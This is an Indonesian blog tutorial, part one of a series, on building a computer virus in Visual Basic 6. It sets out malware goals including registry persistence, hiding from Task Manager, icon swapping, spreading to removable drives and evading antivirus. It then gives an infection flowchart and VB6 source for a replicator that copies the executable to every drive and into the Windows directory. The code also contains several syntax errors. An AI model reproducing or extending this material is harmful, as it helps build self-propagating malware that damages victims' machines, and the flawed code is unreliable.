Computer Programming

Bag. Pertama.

LANGKAH-LANGKAH MEMBUAT VIRUS HANDAL dengan Visual Basic v.6:

1. Membuat algoritma virus

kriteria virus yang akan kita buat antaranya:

– dapat mengecek sistem yang terinstall pada komputer

– dapat menulis ke file win.ini atau regestry

– dapat mengecek keberadaan drive

– dapat menyalin file dari komputer yang terinfeksi alat penyimpanan luar

– dapat mengganti icon

– dapat menyembunyikan prosesnya di task manager

– dapat mengganti nama file dan icon yang berekstensi yang diinginkan

– dapat menjalankan dan menghentikan proses sesuai waktu dan jam           yang  telah ditentukan.

1. start

2. mengaktipkan program virus

3. proses infeksi file

4. mengecek apakah file telah diberi penanda infeksi

a. ya lanjut ke nomor 5

b. tidak , beri penanda dan lanjut ke  5

5. melakukan pendeteksian anti virus

6. apakah komputer ada AV yang aktif:

a. ya, aktipkan kode pertahanan I dan lanjut ke 7

b. tidak, kerjakan perintah no.7

7. proses manipulasi

8. apakah file perlu di manipulsi:

a. ya, kerjakan proses manipulasi kemudian lanjut ke proses selanjutnya no. 9

b. tidak, langsung ke no. 10

9. manipulasi file berekstensi tertentu

10. aktipkan kode pertahankan II

11. selesai

Sebelum anda merancang kode-kode virus ini, terlebih dahulu anda mengetahui regestry windows, vbscsript dan tentunya pemrograman visualbasic 6 karena virus akan dirancang dengan bahasa program ini.

pertama: Kode Pengganda,

kode pengganda ini akan berkerja menggandakan  virus keseluruh drive dan alat penyimpanan yang sedang aktip.

1. buat satu form dan satu command button

2. dobel klik button dan ketikkan listing program di bawah ini:

Private Declare Function GetDriveType Lib “kernel32” _

Alias “GetDriveTypeA” (ByVal nDrive As String) As long

Private Declare function GetWindowsDirectory Lib “kernel32” _

“GetWindowsDirectoryA” (ByVal IpBuffer As String, ByVal nSize As Long) _

As Long

Private Function DriveType (Drive As String) As String

‘ cek drive

Dim sAns As String, lAns As Long

If Len (Drive) = 1 then Drive = Drive & “:\”

If Len (Drive) = 2 and Right$ (Drive, 1) = “:” _

Then Drive = Drive & “\”

lAns = GetDriveType (Drive)

Select Case lAns

case 2

sAns = “Removeable Drive”

case 3

sAns = “Fixed Drive”

case 4

sAns = “Remote Drive”

case 5

sAns = “CD-ROM”

case 6

sAns = “Ram Disk”

case else

sAns = “Drive tidak ditemukan ”

End Select

DriveTypeA = sAns

End Function

Private Sub pengganda()

‘ mengopy file pengganda

Dim ictr As Integer

Dim x As Byte

Dim sDrive As String

reDim sDrives(0) As  Strong

for ictr = 65 to 90

sDrive = Chr(ictr) & “:\”

if DriveType (sDrive) <> “Drive tidak ditemukan” then

On Error Resume Next

FileCopy App.Path & “\” & App.EXEname & “.exe”, sDrive & “coba.exe”

End If

Next

End Sub

Private salinkewindows()

‘mengkopi ke direktory windows

Dim Buffer As String * 255

Dim x As Long

x =GetWindowsDirectory(buffer, 255)

On Error Resume Next

FileCopy App.Path & “\” & App.EXEname & “.exe”, Left (buffer, x) & _

“\percobaan_ke_directory_windows.exe”

End Sub

Private cmdCoba_click()

salinkewindows

pengganda

MsgBox” Kode Sukses berjalan lancar”, 0, “sukses”

End Sub

==========Nantikan Kode-Kode Berikutnya===============

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s




%d blogger menyukai ini: